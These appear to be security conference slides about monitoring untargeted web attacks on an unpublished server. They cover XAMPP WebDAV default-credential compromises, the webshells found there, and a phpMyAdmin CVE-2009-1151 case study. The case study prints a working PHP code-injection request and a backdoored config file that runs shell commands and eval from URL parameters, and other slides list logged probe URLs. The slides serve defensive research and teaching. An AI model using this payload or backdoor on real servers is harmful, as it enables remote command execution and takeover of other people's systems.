Web Attacks In The Wild

An overview of last year’s probes
$ whoami

- Adrian Pastor: sec consultant at Corsaire.com
  - ap@corsaire.com
- pagvac: sec researcher at GNUCITIZEN.org
  - ap@gnucitizen.org
Project History
Project History

- As a pentester my main focus is on *targeted* attacks
- I felt I needed to keep up-to-date in terms of current ongoing *untargeted* attacks
Project History

- **Targeted attacks**
  - A given organisation or system is selected as target
  - Different types weaknesses are identified, from low to high-impact ones
  - Targeted attacks tend to be comprehensive
Project History

- **Untargeted attacks**
  - Attacker is interested in compromising as many hosts as possible
  - What organisation target hosts belong to is irrelevant to attacker
  - Typically the attacker relies on critical bugs to compromise target hosts
Project History

- This research is about *untargeted* web attacks!
Project History

- Have been **monitoring** web attacks since June 2010
- **Unpublished web server** (hidden web, not available on search engines, not linked online, etc.)
Project History

- Created custom web-based attacks monitoring console
- “Server:” header returns a blank value so that received attacks are not dependent on underlying technology
- Not actual apps installed on web server
Web-based attacks monitoring console
Web-based attacks monitoring console

- Ingredients:
  - Bash
  - MaxMind GeoIP PHP API
  - Cron jobs
  - MySQL
  - PHP
  - Apache
Web-based attacks monitoring console

- Cron job runs Bash script every hour
- Bash script exports Apache log entries identified as attacks to CSV-format file
Web-based attacks monitoring console

- Attacks detected based on keywords
  - Updated periodically for more coverage
- CSV file is then converted to MySQL DB
  - LOAD DATA LOCAL INFILE
Web-based attacks monitoring console

- PHP script queries MySQL DB
- Stats are generated
- Attacks are shown in real time(ish)
Web-based attacks monitoring console

- Most scanners try to discover potentially-vulnerable software first:
  - GET /jmx-console/HtmlAdaptor
  - JMX console allows deploying applications
  - No authentication is required by default
Web-based attacks monitoring console

- Sometimes you get probes to compromise already-exploited hosts!
  - CVE-2009-1151
  - Remote command execution on PMA via PHP code injection

<table>
<thead>
<tr>
<th>source ip</th>
<th>date</th>
<th>time</th>
<th>method</th>
<th>url</th>
</tr>
</thead>
<tbody>
<tr>
<td>85.17.36.220</td>
<td>2010-12-19</td>
<td>14:02:07</td>
<td>GET</td>
<td>/myadmin/config/config.inc.php?p=phpinfo();</td>
</tr>
<tr>
<td>190.2.58.88</td>
<td>2010-12-10</td>
<td>11:55:34</td>
<td>GET</td>
<td>/myadmin/config/config.inc.php?p=phpinfo();</td>
</tr>
<tr>
<td>61.128.121.138</td>
<td>2010-11-09</td>
<td>16:57:53</td>
<td>GET</td>
<td>/myadmin/config/config.inc.php?p=phpinfo();</td>
</tr>
</tbody>
</table>
Web-based attacks monitoring console

- DEMO
Benefits of research
Benefits of research

- Stay in touch with real ongoing crime
- Learn about 0day vulnerabilities
- Create IDS signature
Benefits of research

- Update your web scanner’s database
- 0day intelligence case-study: XAMPP attacks in the wild
XAMPP WebDAV vulnerability
XAMPP WebDAV vulnerability

- 0day intelligence case-study: XAMPP attacks in the wild
- XAMPP ‘/webdav/’ folder with default credentials (wampp:xampp)
- Public announcement on 19/01/2011: http://goo.gl/5xRjf
- Vulnerable version in use for more than a year
XAMPP WebDAV vulnerability

- Found scripts by connecting to XAMPP hosts used as attacking points
- DDoS scripts uploaded after compromised
- Some attackers change the default WebDAV password to prevent others from exploiting the same vulnerability
XAMPP WebDAV vulnerability

- Method #1 to obtain scripts uploaded by intruders:
  - Connect to ‘/webdav/’ folder with default WebDAV credentials
  - Enumerate filenames of uploaded PHP shell(s)
  - Invoke PHP shells with browser to download contents of uploaded files
XAMPP WebDAV vulnerability

- Downloading PHP scripts via WebDAV won’t give you the contents of the PHP scripts, unless the PHP interpreter has been disabled! (unusual with XAMPP)
XAMPP WebDAV vulnerability

- Method #2 to obtain scripts uploaded by intruders:
  - Upload and benign PHP script via WebDAV
  - Execute via browser
  - Scripts lists contents of files within “/webdav/” folder and deletes itself
XAMPP WebDAV vulnerability

- list-and-self-delete.php

files listing:
- cgi_win.php
- cheese.php
- Cyanide.exe
- dedi.php
- gny.php
- index.html
- leaf.php
- list-and-self-delete.php
- null.php
- shell79951.php
- test2.php
- webdav.txt

contents of: //cgi_win.php

--------

<?php
#\\\\\\\\ MulCiShell v0.2  /\\\\\\\\\\\\\\\\\\\\#
# Updates from version 1.0#
# 1) Fixed MySQL insert function

--------

© Copyright Corsaire Ltd 2006
XAMPP WebDAV vulnerability

- Either method would require **legal permission** to connect to compromised host and obtain scripts uploaded by intruders
- Do NOT try this at home unless you are authorised to do so!
Attack stats
Most offensive countries by no. of probes

1. China
2. United States
3. Brazil
4. Australia
5. France
6. Czech Republic
7. Colombia
8. Canada
9. Poland
10. Argentina

Number of probes
Most offensive countries by no. of attackers

1. United States
2. China
3. France
4. Germany
5. United Kingdom
6. Canada
7. Netherlands
8. Brazil
9. Russian Federation
10. Turkey

Number of attackers
Researching the underground community
Popular web scanners/exploits

- DFind.exe
- pmaPWN.php
  - based on my phpMyAdminRCE.sh PoC
- Morfeus scanner
- revolt
Popular forums

- HeapOverflow
Backdoors repositories

- Pastebin

http://pastebin.com/

1. http://127.0.0.1.158.241/webdav/pk.php
2. http://127.0.0.1.149.177/webdav/pk.php
3. http://127.0.0.1.49.40/webdav/pk.php
5. http://127.0.0.1.2.289/webdav/x32.php
7. http://127.0.0.1.136.188/webdav/x32.php
8. http://127.0.0.1.7.83.117/webdav/x32.php
10. http://127.0.0.1.100.76/webdav/x32.php
Backdoors: dedi
Backdoors: b374k

```
Apache/2.2.12 (Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0
Windows NT SERVER3200 5.2 build 3790 (Windows Server 2003 Standard Edition Service Pack 2) i586
SYSTEM
server ip: ____________________________ | your ip: ______________________________
safemode: OFF
[C][E][F][G] > E:\xampp\webdav\n```

```
<table>
<thead>
<tr>
<th>name</th>
<th>size</th>
<th>owner:group</th>
<th>perms</th>
<th>modified</th>
</tr>
</thead>
<tbody>
<tr>
<td>..</td>
<td>LINK</td>
<td>?????:?????</td>
<td>rwxewrwxw</td>
<td>09-Apr-2011 22:45</td>
</tr>
<tr>
<td>..</td>
<td>LINK</td>
<td>?????:?????</td>
<td>rwxewrwxw</td>
<td>06-Aug-2009 00:00</td>
</tr>
<tr>
<td>[ .DAV ]</td>
<td>DIR</td>
<td>?????:?????</td>
<td>rwxewrwxw</td>
<td>09-Apr-2011 22:45</td>
</tr>
<tr>
<td>.DS_Store</td>
<td>6 kb</td>
<td>?????:?????</td>
<td>rw-rw-rw-</td>
<td>09-Apr-2011 22:45</td>
</tr>
<tr>
<td>index.html</td>
<td>313</td>
<td>?????:?????</td>
<td>rw-rw-rw-</td>
<td>06-Aug-2009 00:00</td>
</tr>
<tr>
<td>leaf.php</td>
<td>1.08 kb</td>
<td>?????:?????</td>
<td>rw-rw-rw-</td>
<td>09-Apr-2011 17:12</td>
</tr>
<tr>
<td>shell1980.php</td>
<td>1.73 kb</td>
<td>?????:?????</td>
<td>rw-rw-rw-</td>
<td>09-Apr-2011 03:19</td>
</tr>
<tr>
<td>shell36208.php</td>
<td>14.02 kb</td>
<td>?????:?????</td>
<td>rw-rw-rw-</td>
<td>06-Apr-2011 06:56</td>
</tr>
<tr>
<td>webdav.txt</td>
<td>277</td>
<td>?????:?????</td>
<td>rw-rw-rw-</td>
<td>06-Aug-2009 00:00</td>
</tr>
</tbody>
</table>
```

© Copyright Corsaire Ltd 2006
Backdoors: gny
DoS tools: x32.php

- Three scripts: x32.php, servconfig.php and leaf.php (obfuscated)
Case study: from vulnerability discovery to exploitation in the wild
From vulnerability discovery to exploitation in the wild

- CVE-2009-1151: PHP code injection
- Discovered by Greg Ose who blogged tech details on 06/04/2009: 
  http://goo.gl/IAWOb
From vulnerability discovery to exploitation in the wild

- I released a PoC two months after Greg’s post was published (09/06/2009)
- Weaponised exploit released on 19/06/2009: [http://goo.gl/0ryYA](http://goo.gl/0ryYA)
- Mass attacks started on 21/06/2009: [http://goo.gl/RiBg8](http://goo.gl/RiBg8)
- Still being exploited in the wild!

<table>
<thead>
<tr>
<th>source ip</th>
<th>date</th>
<th>time</th>
<th>method</th>
<th>url</th>
<th>user agent</th>
</tr>
</thead>
</table>
From vulnerability discovery to exploitation in the wild

- Flaw lies in “/scripts/setup.php” script used in wizard-style installation
- Setup script creates sample settings file: “/config/config.inc.php”
- We can inject our own PHP code into settings file
- Desired code: basic PHP backdoor
From vulnerability discovery to exploitation in the wild

- Exploit writing methodology:
  - Investigate wizard setup.php feature
From vulnerability discovery to exploitation in the wild

- Exploit writing methodology:
  - Analyse input that can be controlled by attacker
  - In this case form fields were filtered but we could create our malicious associative array key
From vulnerability discovery to exploitation in the wild

- Exploit writing methodology: experiment injecting PHP payload
  - POST /phpmyadmin/scripts/setup.php HTTP/1.1
    [snip]
    token=1qtrgjpdiijrg6sjddm2vl8qjar8ig86a&action=save&configuration=a:1:{s:7:"Servers":a:1:{i:0:a:6:{s:23:"host'="; phpinfo();//";s:9:"localhost","extension","mysql","connect_type","tcp","compress","config","user","root",}}}&eoltype=unix
  - a:1:{s:7:"Servers",a:1:{i:0;a:6:{s:23:"host'="; phpinfo();//";s:9:"localhost","extension","mysql","connect_type","tcp","compress","config","user","root",}}}
From vulnerability discovery to exploitation in the wild

- We can backdoor “config.inc.php”!
  ```php
  <?php
  /*
   * Generated configuration file
   * Generated by: phpMyAdmin
   * Setup script by Michal Čihař <michal@cihar.com>
   * Date: Tue, 09 Jun 2009 14:13:34 GMT
   */
  /* Servers configuration */
  $i = 0;
  /* Server (config:root) [1] */
  $i++; $cfg['Servers'][$i]['host'] = '';
  if ($_GET['c']) {
    echo '<pre>'; system($_GET['c']); echo '</pre>'; }
  if ($_GET['p']) {
    echo '<pre>'; eval($_GET['p']); echo '</pre>'; }
  /* End of servers configuration */
  ```

From vulnerability discovery to exploitation in the wild

- And accomplish remote command execution:

```
total 96
drwxr-xr-x 2 root root  4096 Mar 11 10:12 bind
rwxr-xr-x 3 root root  4096 May  6 10:01 boot
[snip]
```
Conclusions

- Researching web attacks in the wild helped learn about various critical bugs currently being exploited.
- Most attacks in the wild involve critical bugs, often already in the public domain.
- Compromised hosts are not only being used for personal fame but also for DDoS botnets.
Thank You

- Special thanks to Janne Sarendal for MySQL code samples